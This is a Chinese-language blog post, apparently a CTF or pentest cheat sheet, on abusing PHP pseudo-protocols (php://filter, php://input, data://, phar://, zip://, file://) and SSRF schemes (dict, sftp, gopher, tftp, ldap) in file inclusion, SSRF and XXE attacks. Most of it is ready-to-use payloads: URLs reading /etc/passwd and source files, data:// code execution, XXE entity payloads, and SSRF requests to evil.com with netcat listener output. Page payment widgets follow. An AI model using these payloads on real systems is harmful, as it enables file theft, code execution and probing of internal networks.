伪协议的使用方法(SSRF,XXE,文件包含)

一、各伪协议使用方法

在这里插入图片描述

  1. php://协议——访问各个输入输出流(I/O streams)
  2. php://filter——用于读取源码,输出base64加密后的信息
?file=php://filter/convert.base64-encode/resource=xx.php
或
?file=php://filter/read=convert.base64-encode/resource=xx.php
  1. php://input——读取POST数据,用于执行php代码
  2. file://伪协议——读取文件内容
  3. phar://——读取压缩包文件内容
?file=phar://压缩包名/内部文件名
例:phar://x.zip/x.php
  1. zip://——读取压缩包文件内容
?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名]   
例: zip://D:\phpstudy\WWW\x.zip%23shell.php       #->%23
  1. . data://——以get方式提交数据,执行php代码。
?file=data://text/plain,<?php%20phpinfo()?>

二、文件包含 ,XXE,XSSRF利用伪协议的异同

SSRF ssrf利用伪协议

类型:

  1. file:/// — 从文件系统中获取文件
http://example.com/ssrf.php?url=file:///etc/passwd
http://example.com/ssrf.php?url=file:///C:/Windows/win.ini

若该服务器阻止对外部站点发送http请求,或设了白名单,则用以下协议绕过

  1. dict:// — 引用允许通过DICT协议使用的定义或单词列表
http://example.com/ssrf.php?dict://evil.com:1337/ 
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*] 
accepted (family 2, sport 31126)CLIENT libcurl 7.40.0
  1. sftp://
    Sftp代表SSH文件传输协议(SSH File Transfer Protocol),或安全文件传输协议(Secure File Transfer Protocol),这是一种与SSH打包在一起的单独协议,它运行在安全连接上,并以类似的方式进行工作。
http://example.com/ssrf.php?url=sftp://evil.com:1337/ 
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*] 
accepted (family 2, sport 37146)SSH-2.0-libssh2_1.4.2
  1. ldap://或ldaps://或ldapi://
    ladp代表轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议。
http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquit
http://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquit
http://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit
  1. gopher://
    Gopher是一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。
http://example.com/ssrf.php?url=http://attacker.com/gopher.php

<?php  header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');?>

evil.com:# nc -lvp 1337
Listening on [0.0.0.0] (family 0, port1337)Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 49398)Hissrftest
  1. tftp://
    TFTP(Trivial File Transfer Protocol,简单文件传输协议)是一种简单的基于lockstep机制的文件传输协议,它允许客户端从远程主机获取文件或将文件上传至远程主机
http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET 
evil.com:# nc -lvup 1337
Listening on [0.0.0.0] (family 0, port1337)TESTUDPPACKEToctettsize0blksize512timeout3

XXE

  1. php://filter -- 读取文件内容
<?xml version="1.0"?>
<!DOCTYPE user [
<!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">
]>
<user>
<username>&test;</username>
<password>123</password>
</user>
  1. file:// -- 读取用户端文件
<?xml version="1.0"?>
<!DOCTYPE note [
<!ENTITY content SYSTEM "file:///etc/passwd">
]>
<note>
<name>&content;</name>
</note>

文件包含

  1. php://filter – 读取文件
  2. file://绝对路径 — 读取文件内容
  3. php://input — 读取post数据
  4. phar://压缩包名/内部文件名 – 配合文件上传,可把图片马压缩为一个压缩包后上传再查看
  5. zip:// 压缩文件绝对路径 %23 压缩文件内的子文件名 — # == %23
  6. data://text/plain,<?php ?> – get方式提交数据
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值